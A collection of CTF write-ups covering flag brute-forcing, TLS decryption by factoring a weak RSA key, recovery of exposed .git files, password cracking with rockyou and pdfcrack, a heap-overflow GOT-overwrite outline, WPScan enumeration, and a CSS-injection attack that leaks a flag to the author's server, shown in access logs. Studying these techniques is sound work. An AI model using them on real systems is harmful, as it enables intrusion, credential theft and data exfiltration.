```python'mo4r' in data and '34C3_' in data and data.split('_')[3] == 'tzzzz'```The clear flag must contain the words "mo4r", "34C3\_" and "tzzzz". However, since we know the format of the flag, we can go a bit further. The flag will actually start with "34C3\_", and is likely to end with "\_tzzzz" (since "tzzzz" is extracted with `data.split('_')`, it must be preceded by an underscore). So our flag is in the format : "34C3\_" + ...mo4r... + "\_tzzzz".
Now let's move on to the encryption part. We can see that the `olol` function is applied to an array of tuples (containing 2 elements each), and the resulting array is then compared to the fixed one given in the code. How exactly is the array of tuples constructed ?
```pythonolol(*a) for a in zip(list(map(ord,data)), list(map(ord,data))[::-1])][::-1]```
```$ pyhton>>> data = "flag">>> map(ord, data)[102, 108, 97, 103]```The [ord](https://docs.python.org/2/library/functions.html#ord) function returns the ASCII value of a char. The [map](http://book.pythontips.com/en/latest/map_filter.html) function applies a function to all the items in an input list. This part returns a list of the ASCCI values of the chars composing the string.
```>>> map(ord, data)[::-1][103, 97, 108, 102]```The `[::-1]` reverses the order of the elements in the list.
```>>> zip(a, a[::-1])[(102, 103), (108, 97), (97, 108), (103, 102)]```Finally, [zip](https://docs.python.org/2/library/functions.html#zip) pairs elements one to one from its first and second arguments. It is also important not to forget that the resulting list will be reversed as well before beeing compared.
With that knowledge, we know understand that the first character of the flag will be encrypted with the last one, the second with the second last, etc... We have to recover the flag two characters at the time, starting from both ends. In a first time, we can verify our assumptions on the flag format.
```pythonolol = lambda a,b : a+(b^21)
flag_b = "34C3_" # Since we will have to construct it from the middleflag_e = "_tzzzz" # let's separate the flag into a beginning and an end part
ciphered_flag = [160,155,208,160,190,215,237,134,210,126,212,222,224,238,128,240,164,213,183,192,162,178,163,162]
test_flag = flag_b + flag_etest_flag_ciphered = [olol(*a) for a in zip(list(map(ord,test_flag)), list(map(ord,test_flag))[::-1])][::-1]
print test_flag_ciphered```
```$ python nohtp1_solve.py [160, 155, 208, 160, 190, 169, 192, 162, 178, 163, 162]```
We can see that the first 5 values match the values in the `ciphered_flag` array, and the same is true for the last 5 ones. So our assumption about the flag format was correct. However, the 6th value does not correspond to anything in the array we want to obtain. That's because, since our `test_flag` is 11 characters long, the middle one will be encrypted with itself. We shoud then try to find with which character it shoud be encrypted to give the expected values at the positions we want in the resulting array (meaning 215 at the 6th position and 183 at the 6th starting from the end)
```pythonimport string
# I supposed that the flag probably only included letters, numbers and underscores# but no other special characterALPHA = string.ascii_letters + string.digits + '_'olol = lambda a,b : a+(b^21)
flag_b = "34C3_"flag_e = "_tzzzz"
ciphered_flag = [160,155,208,160,190,215,237,134,210,126,212,222,224,238,128,240,164,213,183,192,162,178,163,162]
k = len(flag_b)for i in ALPHA: test_flag = flag_b + i + flag_e test_flag_ciphered = [olol(*a) for a in zip(list(map(ord,test_flag)), list(map(ord,test_flag))[::-1])][::-1]
if (test_flag_ciphered[k] == ciphered_flag[k] and test_flag_ciphered[-k-1] == ciphered_flag[-k-1]): print test_flag```
```$ python nohtp1_solve.py 34C3_m_tzzzz```
Okay so the first letter after "34C3\_" is an 'm'. Now we can try to find the characters 2 by two. One that goes after the 'm' and the other that will land just before the "\_tzzzz".
```pythonflag_b = "34C3_m" # Since we found that an 'm' should follow I added it direcly flag_e = "_tzzzz"
for i in ALPHA: for j in ALPHA: test_flag = flag_b + i + j +flag_e test_flag_ciphered = [olol(*a) for a in zip(list(map(ord,test_flag)), list(map(ord,test_flag))[::-1])][::-1]
k = len(flag_b)
if (test_flag_ciphered[k] == ciphered_flag[k] and test_flag_ciphered[-(k+1)] == ciphered_flag[-(k+1)]): print test_flag```
```$ python nohtp1_solve.py 34C3_mfz_tzzzz34C3_mnr_tzzzz34C3_mos_tzzzz```
Ah, this time there are several possibilities. However, since we know that the flag must contain the word "mo4r", the last one is the most likely to be the one we are looking for. We could then just add manually the letters to our `flag_b` and `flag_e` variables, but that wouldn't be any fun. So let's automate that a bit. Since there are several possibilities each time, we're also going to use the hint that gives us the md5sum of the flag to stop when we have the right one.
```pythonpossible_flags = [[flag_b, flag_e]] # All potential flagsmo4r_test_flags = [] # Potential flags that contain "mo4r"
checked = Falsewhile (not checked): new_possible_flags = [] for [flag_b, flag_e] in possible_flags: for i in ALPHA: for j in ALPHA: test_flag = flag_b + i + j +flag_e test_flag_ciphered = [olol(*a) for a in zip(list(map(ord,test_flag)), list(map(ord,test_flag))[::-1])][::-1] #print test_flag_ciphered k = len(flag_b) if (test_flag_ciphered[k] == ciphered_flag[k] and test_flag_ciphered[-(k+1)] == ciphered_flag[-(k+1)]): if ("mo4r" in test_flag and test_flag.count('_') == 3 and len(test_flag) == len(ciphered_flag)): print test_flag mo4r_test_flags.append(test_flag) new_possible_flags.append([flag_b+i,j+flag_e]) possible_flags = new_possible_flags```
```$ python nohtp1_solve.py 34C3_mo4r_sajn4kes_tzzzz34C3_mo4r_schn4kes_tzzzz34C3_mo4r_senn4kes_tzzzz34C3_mo4r_sgln4kes_tzzzz34C3_mo4r_sibn4kes_tzzzz34C3_mo4r_smfn4kes_tzzzz34C3_mo4r_sodn4kes_tzzzz34C3_mo4r_sqzn4kes_tzzzz34C3_mo4r_ssxn4kes_tzzzz34C3_mo4r_syrn4kes_tzzzz```
Here are our final candidates. We only have to find the correct one by testing their md5 hash.
```pythonflag_sum = "5a76c600c2ca0f179b643a4fcd4bc7ac"
for flag in mo4r_test_flags: m = hashlib.md5(flag).hexdigest() #print m if (str(m) == flag_sum): print "FLAG: "+flag```
However, when we test that - for a reason I don't understand - it seems that none of the hashes matches the one we're looking for. Still, when we test individually each potential flag in a terminal we find that :
```$ echo "34C3_mo4r_schn4kes_tzzzz" | md5sum5a76c600c2ca0f179b643a4fcd4bc7ac```
And there is our flag : 34C3\_mo4r\_schn4kes\_tzzzz
EDIT : The reason was that `echo` inserts a '\n' at the end of the string, and we didn't insert one before testing the hashes in our script. |
# Miro
## Challenge Description Do you wanna play the game? :D
612 Pts
8 Solves
## ProcessFisrt we are given file name `bf083d4ab960620b645557217dd59a49` ,its zip file.Inside it we get 2 file, `client.py` and `miro.pcap`
This is the `client.py` looks like :
```pythonfrom socket import *from ssl import *import time
def recv_until(s, string): result = '' while string not in result: result += s.recv(1) return result
client_socket=socket(AF_INET, SOCK_STREAM)tls_client = wrap_socket(client_socket, ssl_version=PROTOCOL_TLSv1_2, cert_reqs=CERT_NONE)
print "[+] Connecting with server.."
tls_client.connect(('ch41l3ng3s.codegate.kr',443))
print "[+] Connect OK"
while 1: data = recv_until(tls_client, "Input : ") print data #message user_input = raw_input() if user_input == "u": print "Sorry.. Not support function.." exit() elif user_input == "d": tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n") elif user_input == "r": tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n") elif user_input == "l": print "Sorry.. Not support function.." exit() else: print "Invalid input!" exit()
client_socket.shutdown(SHUT_RDWR)client_socket.close()```
When we run `client.py` we got little maze game like :```bashroot@yeraisci:~/Downloads# python client.py[+] Connecting with server..[+] Connect OK-- Labytinth Game --You have to go to the [G]Input List : u(go up), d(go down), r(go right), l(go left)[O][O][O][O][O][O][*][O][O][O][O][O][O][O][O][O][ ][ ][ ][O][O][O][ ][ ][ ][O][O][O][ ][O][O][ ][ ][O][ ][ ][ ][ ][ ][O][O][ ][O][O][O][O][O][O][O][O][ ][ ][O][O][ ][ ][ ][ ][O][O][ ][O][O][O][ ][O][O][ ][O][O][ ][ ][ ][O][ ][O][O][ ][ ][O][O][O][ ][ ][ ][O][O][O][ ][ ][O][O][O][O][O][O][O][O][O][G]Input : d
[O][O][O][O][O][O][V][O][O][O][O][O][O][O][O][O][*][ ][ ][O][O][O][ ][ ][ ][O][O][O][ ][O][O][ ][ ][O][ ][ ][ ][ ][ ][O][O][ ][O][O][O][O][O][O][O][O][ ][ ][O][O][ ][ ][ ][ ][O][O][ ][O][O][O][ ][O][O][ ][O][O][ ][ ][ ][O][ ][O][O][ ][ ][O][O][O][ ][ ][ ][O][O][O][ ][ ][O][O][O][O][O][O][O][O][O][G]Input : uSorry.. Not support function..```
As we can see,maybe we have to complete the maze to get the flag,but its a problem,because step `u` and `l` are not supported by `client.py`,it seem like the server recognize client's step by a bunch of number,obviously we can't bruteforce it because its too long,and then we take a look at `miro.pcap` and found some interaction between client and server :

Hmmm,we know that server use ssl and tls as protocol to transfer data,if we look at the `miro.pcap`,file we notice that some of `application data` have been captured,but its encrypted.We want to know that data,maybe we found step `u` and `l` in there.We notice there is a handshake protocol beteween server.
The next thing we want to do is try to decrypt `application data` using the `certificate` from handshake protocol.We need to go to packet section `Server Hello,Certificate, Server Hello Done` >> `Secure Socket Layer` >> `Handshake Protocol` >> `Certificate` .

And then we export the certificate bytes in file named `certif.der`.If we see on the `openssl` info of the `certificate` using:```bashopenssl x509 -inform DER -in certif.der -text```
we can see that encryption scheme using `Signature Algorithm: sha256 With RSA Encryption` we then convert this cerificate to `PEM` format file to gain the public key of RSA. with :```bashopenssl x509 -inform der -pubkey -noout -in certif.der > certif.pem```
We then try to factorize `n` and get the `p` and `q` using factor fermat,and we construct RSA private key and export to `PEM` format and save as `privkey.key` :
```pythonfrom Crypto.Util.number import *from Crypto.PublicKey import RSAimport gmpy
def factor_fermat(N): a = gmpy.sqrt(N) b2 = a*a - N while not gmpy.is_square(gmpy.mpz(b2)): b2 += 2*a + 1 a += 1
factor1 = a - gmpy.sqrt(b2) factor2 = a + gmpy.sqrt(b2) return (long(factor1.digits()), long(factor2.digits()))
def read_pubkey(pem_file): pem = open(pem_file).read() key = RSA.importKey(pem) n = key.n e = key.e return (n, e)
n,e=read_pubkey("certif.pem")p,q=factor_fermat(n)
phi=(p-1)*(q-1)d=inverse(e,phi)
g=open('privkey.key','wb')priv = RSA.construct((n,e,d))g.write(priv.exportKey('PEM'))g.close()```
After that we go to wireshark,to decrypt `ssl traffic data`.Heading to `Edit` >> `Preferences` >> `Protocols` >> `ssl` .And we edit the RSA key lists form using previous private key,like :

After that,we get to know the data transferred in `application data` .We then search specific string that use to make a `u` step and `l` step.We found them,and we just try the correct string between step `u` and `l`.Modify the `client.py` with :
```pythonif user_input == "u": tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n")```And```pythonelif user_input == "l": tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n") ```
Finally,just run the script and finish the maze("we think this game have to be done in like several times,but its just 1 time,ok") and get the flag
`Flag is {C4n_y0u_d3crypt_th3_P4ck3t??}` |
# Web2, Web, 200pts
## Problem
Hidden in Plain Sighthttp://34.201.73.166/
## Solution
When we open url, we see very simple static website:

HTML source review does not give any clue, so it's time to perform some basic recon.
I don't know why, but since couple of months I have a very weird behaviour - I always check if there is ```.git``` folder on the server (perhaps because I deal with Git a lot in my daily job).
And this time that was a perfect shot:

From this point, the rest is easy. First, I had to figure out what was commited and obtain commits hashes. This can be done by reviewing ```.git/logs/HEAD``` file:

There are two very interesting comments - some files were added and then removed:

Let's try to figure them out (I am using my own tool here I wrote some time ago - ```diggit.py``` https://github.com/bl4de/security-tools/tree/master/diggit)
If you are interested how it works, and how to obtain information from ```.git``` folder in general: take a look at my writeup here: https://github.com/bl4de/research/tree/master/hidden_directories_leaks#git)
Ok, let's get back to writeup.
First, in one of the commits I found an information about SHA1 hash of directory tree (d0e6ad36b77a2c8f9ba6708c995f1cb830b9e7fa):
```$ ./diggit.py -t /Users/bl4de/hacking/ctf/2018/nullcon_CTF_2018/web2/ -u http://34.201.73.166/ -o d0e6ad36b77a2c8f9ba6708c995f1cb830b9e7fausage: diggit.py [-h] [-u U] [-t T] [-o O] [-r R]
diggit.py - get information about Git object(s) from remote repository
optional arguments: -h, --help show this help message and exit -u U URL of remote Git repository location -t T path to temporary Git folder on local machine -o O object hash (SHA-1, all 40 characters) -r R be recursive (if commit or tree hash found get all blobs too). Default is 'False'
################################################################################# ###### ###### diggit.py | Twitter: @_bl4de | GitHub: bl4de ###### ###### #################################################################################
############ d0e6ad36b77a2c8f9ba6708c995f1cb830b9e7fa information ############
[*] Object type: tree
[*] Object content:
040000 tree 4838e77b2bb4655d0b46165ec6473460dc90b4dd 3e90c63922fa145442bb58d18b62af6c21717fee100644 blob f33993193d51b645f99d63497ae7265820e05eda header.jpg100644 blob 59ba645070811b01a63dd8f8af89a65b21408643 index.html100644 blob b5a144fb1fcf2acdcd5db2ac0725ed2679aa06aa style.css
##############################################################################```

There was a folder named ```3e90c63922fa145442bb58d18b62af6c21717fee``` and in the next commit it seems to be removed. Using its Git hash (4838e77b2bb4655d0b46165ec6473460dc90b4dd) I've found its content:
```$ ./diggit.py -t /Users/bl4de/hacking/ctf/2018/nullcon_CTF_2018/web2/ -u http://34.201.73.166/ -o 4838e77b2bb4655d0b46165ec6473460dc90b4ddusage: diggit.py [-h] [-u U] [-t T] [-o O] [-r R]
diggit.py - get information about Git object(s) from remote repository
optional arguments: -h, --help show this help message and exit -u U URL of remote Git repository location -t T path to temporary Git folder on local machine -o O object hash (SHA-1, all 40 characters) -r R be recursive (if commit or tree hash found get all blobs too). Default is 'False'
################################################################################# ###### ###### diggit.py | Twitter: @_bl4de | GitHub: bl4de ###### ###### #################################################################################
############ 4838e77b2bb4655d0b46165ec6473460dc90b4dd information ############
[*] Object type: tree
[*] Object content:
100644 blob 2fe7e986096174eaa215846ae64ea83409594840 index.php100644 blob d8d10cc949bd91efe792a72a119c796bbdb3dfc6 style.css
##############################################################################```
The folder itself hides simple login form:

Oh, and there is ```index.php``` file in this folder, let's take a look what's inside:
```$ ./diggit.py -t /Users/bl4de/hacking/ctf/2018/nullcon_CTF_2018/web2/ -u http://34.201.73.166/ -o 2fe7e986096174eaa215846ae64ea83409594840usage: diggit.py [-h] [-u U] [-t T] [-o O] [-r R]
diggit.py - get information about Git object(s) from remote repository
optional arguments: -h, --help show this help message and exit -u U URL of remote Git repository location -t T path to temporary Git folder on local machine -o O object hash (SHA-1, all 40 characters) -r R be recursive (if commit or tree hash found get all blobs too). Default is 'False'
################################################################################# ###### ###### diggit.py | Twitter: @_bl4de | GitHub: bl4de ###### ###### #################################################################################
############ 2fe7e986096174eaa215846ae64ea83409594840 information ############
[*] Object type: blob
[*] Object content:
<html> <head> <link rel="stylesheet" type="text/css" media="screen" href="style.css" /> </head> <body> <form class="login" method="post"> <h1 class="login-title">Login for flag</h1> <input name="user" id="user" type="text" class="login-input" placeholder="Username" autofocus> <input name="pass" id="pass" type="password" class="login-input" placeholder="Password"> <input type="submit" value="Lets Go" class="login-button">
<h3>The flag is: $FLAG</h3><br\></font\>"; }else{ echo "<font style=\"color:#FF0000\">Invalid credentials! Please try again!<br\></font\>"; }}
function checklogin($u,$p){ if (($u) === "passwordisinrockyou" && crc32($p) == "550274426"){ // return true; } }?></form>
</body></html>
##############################################################################```
There is one very interesting condition in this file:
```phpif (($u) === "passwordisinrockyou" && crc32($p) == "550274426"){ ```
This condition checks if user logs in using ```passwordisinrockyou``` as username and password get from ```rockyou``` dictionary, which has checksum calculated with ```CRC 32``` eqals to 550274426.
Let's write a simple script to reveal which password we have to use (you can download ```rockyou``` dictionary from this url: https://wiki.skullsecurity.org/Passwords):
```python#!/usr/bin/pythonimport zlibcrc = 550274426
with open('/Users/bl4de/hacking/dictionaries/rockyou.txt', 'r') as f: for passwd in f: passwd = passwd.strip() if abs(zlib.crc32(passwd)) == crc: print "found '{}' with crc32({}) = {}".format(passwd, passwd, zlib.crc32(passwd)) exit(0)
print "not found :("
```
It took just a fraction of second to reveal that password is ```trumpet```:
```$ ./crc.pyfound 'trumpet' with crc32(trumpet) = 550274426```
Let's try those credentials then:

And we got our flag:

**The Flag:**```hackim18{SeCuRiTy-MisConfiGuraTionS-ArE-Bad}``` |
Yahoo--------------
This challenge supplied an `evlz.pdf` PDF file, which was password protected.
I used [`pdfcrack`](https://github.com/robins/pdfcrack) to crack the password with `rockyou.txt`, the common dictionary/password list.
```pdfcrack --wordlist=rockyou.txt evlz.pdf ```
It got the password as `*yellowtulip*`. I entered that as the password to open the PDF, and it worked! The PDF was empty other than just the flag text: __`evlz{always_use_password_managers}ctf`__ |
# ▼▼▼A custom CSS for the flag(Web:250)18/447team=4.0%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```DescriptionLet’s decorate with fashionable CSS in this site(http://problem.harekaze.com:10003/).
Don’t DOS Attack.```
---
**1.脆弱性の特定**
http://problem.harekaze.com:10003/
↓
```<html> <head> <meta charset="utf8" /> <title>A custom CSS for the flag</title> <script src='https://www.google.com/recaptcha/api.js'></script> </head> <body> <h1>A custom CSS for the flag</h1> server.js The flag is in http://127.0.0.1:3002/flag.html The flag format is the two CSS3 properties connected by a underscore (_). Example: HarekazeCTF{background-image_font-size}
The flag is in http://127.0.0.1:3002/flag.html
The flag format is the two CSS3 properties connected by a underscore (_). Example: HarekazeCTF{background-image_font-size}
<form action="/crawl.html" method="post"> Server side chromium will access the following URL. The URL of CSS file must starts with "http://" or "https://". http://127.0.0.1:3002/flag.html?css=<input type="text" name="css" /> <div class="g-recaptcha" data-sitekey="6LdemkQUAAAAALOZJWo32hcBTeUxT2clpl2fVqMO"></div> <input type="submit"/> Chromium Version : 64.0.3282.119-1~deb9u1 </form> </body>```
↓
flagは、`http://127.0.0.1:3002/flag.html`にあり、任意のCSSを設定できる
また、自動読み込み側のブラウザは、`Chromium Version : 64.0.3282.119-1~deb9u1`と書かれている。
↓
CSSインジェクションからデータ抽出すればよいことがわかる。
---
**2.攻撃方法の絞り込み**
CSSインジェクションからデータ抽出する方法はいくつかあるので、どの攻撃が使えるか制約条件を`server.js`のソースコードから確認していく。
CSSのURLの読み込まれ方を確認
↓
```'use strict';
const express = require("express");const bodyParser = require('body-parser');const puppeteer = require('puppeteer');const https = require('https');const fs = require("fs");const app = express();const request = require("request");
app.use(bodyParser.urlencoded({ extended: true }))app.use(bodyParser.json())
async function crawl(req, res) { if(!req.body['g-recaptcha-response']) { res.send("ReCAPTCHA error."); return; } var verificationUrl = `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET}&response=${req.body['g-recaptcha-response']}&remoteip=${req.connection.remoteAddress}` request(verificationUrl,async function(error,response,body) { const recaptcha = JSON.parse(body); if( recaptcha.success === true ) { res.send("Crawling"); const browser = await puppeteer.launch({executablePath: '/usr/bin/chromium'}); const page = await browser.newPage(); await page.goto( "http://127.0.0.1:3002/flag.html?css=" + req.body.css, { waitUntil: "load" }); await page.waitFor(20000); await browser.close(); }else{ res.send("ReCAPTCHA error."); } });};
app.get('/server.js',function (req, res) { res.sendFile("/app/server.js") });app.post('/crawl.html', crawl);app.use('/', express.static('public'));var server = app.listen(3001, function () { var host = server.address().address; var port = server.address().port; console.log('CSS-Injection http://%s:%s', host, port);});
const app2 = express();app2.get('/flag.html', function (req, res) { console.log(req.connection.remoteAddress); req.query.css = req.query.css || ""; if (req.query.css.startsWith("http://") || req.query.css.startsWith("https://")) { res.send(`<html> <link rel="stylesheet" href="${encodeURI(req.query.css)}" /> <body> <div id="flag"> HarekazeCTF{${fs.readFileSync("flag.txt")}} </div> </body> </html>`); } else { res.send("Bad URI"); }});var server2 = app2.listen(3002,"localhost");```
---
`<link rel="stylesheet" href="${encodeURI(req.query.css)}" />`
↓
まず、CSSは、rel="stylesheet"で読み込まれており、hrefにURLを反映できることがわかる。
---
次に、flagの場所は下記のように、属性の中ではないことがわかる。
```<div id="flag">HarekazeCTF{${fs.readFileSync("flag.txt")}}</div>```
これらより、`@font-faceのunicode-rangeを利用する攻撃方法`でデータ抽出できそうだ。
---
**3.exploit**
PHPで下記のようにコードを書いて、flagに使われている文字を抽出していく。
※クロスドメイン通信でのCSS読み込みでは、`Content-Type:text/css`は必須であることに注意する。
↓
`css.php`
```
#flag{ font-family:poc;}```
---
後は、自サーバの下記のURLにcss.phpを配置して踏ませればよい。
↓
http://{my_server}/css.php
↓
すると、待ち受けているmy_serverにアクセスが来る。
↓
```163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /css.php HTTP/1.1" 200 8116 "http://127.0.0.1:3002/flag.html?css=http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?{ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?z HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?r HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?o HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?k HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:20 +0000] "GET /?e HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?d HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?b HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?T HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?H HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?a HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?F HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?C HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?- HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?t HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?m HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?l HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?f HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?s HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?u HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?n HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?_ HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?} HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:21 +0000] "GET /?i HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"163.43.29.129 - - [11/Feb/2018:03:30:22 +0000] "GET /?c HTTP/1.1" 200 2260 "http://{my_server}/css.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/64.0.3282.119 Safari/537.36"```
↓
使われている文字が、下記であることがわかった。
`{zorkedbaFTHCtmlfusnic_-}`
↓整理してみる
`HarekazeCTF{odbtmlfusnic_-}`
↓
よって、`{}`の中は`odbtmlfusnic_-`を使うのは必須で、重複も可能なため`abcdef..i.klmno..rstu....z_-`の文字を利用できることがわかった。
---
**4.flagの絞り込み**
flag形式を再確認する
↓
```The flag format is the two CSS3 properties connected by a underscore (_).Example: HarekazeCTF{background-image_font-size}```
↓
2つのCSS3のpropertiesを_で連結している形式であることがわかる。
---
下記のCSS properties Listを参考にした。
```https://www.w3.org/Style/CSS/all-properties.en.htmlhttp://htmlcss.jp/css/index.html```
↓
CSS3で新たに使えるようになったもの、使われていない文字`ghjpqvwzy`を元にプロパティを絞り込んだ。
また、組み合わせの確認については、必須文字が12文字なので6文字以上合致しているものを軸に、総当たりで確認していった。
すると、条件を満たすものを複数発見することができた。
↓
```border-bottom-left-radius × animation-directionborder-bottom-left-radius × animation-iteration-countborder-bottom-left-radius × column-count
border-top-left-radius × column-fillborder-top-left-radius × column-rule-colorborder-top-left-radius × column-count
border-top-right-radius × column-fill
dominant-baseline × column-fill```
↓
8(上記の8個)×2(前後)=16回をブルートフォースしてflagを特定した
↓
`HarekazeCTF{animation-direction_border-bottom-left-radius}` |
1. Heap overflow when View -> Modify2. Use this to overwrite next chunk's pointers3. View/Modify on next chunk gives arbitrary r/w primitives4. Leak libc address from GOT5. Replace strcmp's GOT with system6. Pass /bin/sh to strcmp while entering option in menu |
# The news hacker (150 PTS)### Description
>Only admin can see the flag :)>>ctf.sharif.edu:8082>>Alternative Link (8082.ctf.certcc.ir)
>Hint: Weak password!
Flag: ```SharifCTF{e7134abea7438e937b87608eab0d979c}```
### Solution

This is the main page of the website. It contains some news about hackers, calendar with CTF competitions and a simple photo gallery. Website looks like ```wordpress```, so let's check it using [WPScan](https://wpscan.org/)!
```vova@Vova-PC:~/wpscan$ ruby ./wpscan.rb --url http://8082.ctf.certcc.ir/ --enumerate u --threads 20 > scan.txt```
Yeah, look at that ```scan.txt```! It a definitely wordpress, and it contains many vulnerable plugins.
You can see all scanning results in [scan.txt](https://github.com/VoidHack/write-ups/blob/master/SharifCTF%208/web/the-news-hacker/scan.txt), but we'll take note of ```Event List``` plugin:
